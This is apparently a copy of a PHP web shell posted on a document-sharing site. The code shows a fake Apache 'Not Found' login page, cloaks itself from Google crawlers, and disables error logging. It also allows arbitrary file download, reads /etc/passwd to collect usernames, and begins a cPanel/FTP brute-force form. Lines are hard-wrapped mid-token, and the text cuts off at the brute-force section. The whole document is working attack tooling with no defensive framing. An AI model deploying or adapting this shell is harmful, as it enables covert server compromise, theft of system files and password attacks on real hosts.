Professional Documents
Culture Documents
Cab 5 D 6
Cab 5 D 6
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes
($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if(isset($_GET['dl']) && ($_GET['dl'] != "")){ $file = $_GET['dl']; $filez = @fi
le_get_contents($file); header("Content-type: application/octet-stream"); header
("Content-length: ".strlen($filez)); header("Content-disposition: attachment; fi
lename=\"".basename($file)."\";"); echo $filez; exit; } elseif(isset($_GET['dlgz
ip']) && ($_GET['dlgzip'] != "")){ $file = $_GET['dlgzip']; $filez = gzencode(@f
ile_get_contents($file)); header("Content-Type:application/x-gzip\n"); header("C
ontent-length: ".strlen($filez)); header("Content-disposition: attachment; filen
ame=\"".basename($file).".gz\";"); echo $filez; exit; } if(isset($_GET['img'])){
@ob_clean(); $d = magicboom($_GET['y']); $f = $_GET['img']; $inf = @getimagesiz
e($d.$f); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; @header("Content-t
ype: ".$inf["mime"]); @header("Cache-control: public"); @header("Expires: ".date
("r",mktime(0,0,0,1,1,2030))); @header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f); exit; } $ver = "james0baster"; $software = getenv("SERVER_SOFT
WARE"); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
$pokeng = $_REQUEST['submit'];
$hn = $_REQUEST['users'];
$crew = $_REQUEST['passwords'];
$pasti = $_REQUEST['sasaran'];
$manualtarget = $_REQUEST['target'];
$bisa = $_REQUEST['option'];
if($pasti == ''){
$pasti = 'localhost';
}
if($manualtarget == ''){
$manualtarget = 'http://localhost:2082';
}
function get_users()
{
$users = array();
$rows=file('/etc/passwd');
if(!$rows) return 0;
foreach ($rows as $string)
{
$user = @explode(":",$string);
if(substr($string,0,1)!='#') array_push($users,$user[0]);
}
return $users;
}
if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$
lang[$language.'_text96']."</font></center>"; }
else
{
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 c
ellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1><tr><
td>
<b> sasaran : </font><input type='text' name='sasaran' size='16' value= $pasti c
lass='inputz'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 c
ellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
<tr>
<td align='center'>
<b>User</b></td>
<td>
<p align='center'>
<b>Pass</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; bac
kground-color: #000000; color:#C0C0C0' >";foreach($users as $user) { echo $user.
"\n"; } print"</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D;
background-color: #000000; color:#C0C0C0'>$crew</textarea><br>
<br>
<b>Pilih dahk : </span><input name='option' value='manual' style='font-weight: 7
00;' type='radio'> Manual Target Brute : <input type='text' name='target' size='
16' class='inputz' value= $manualtarget ><br />
<input name='option' value='cpanel' style='font-weight: 700;' checked type='radi
o'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp
//bruteforce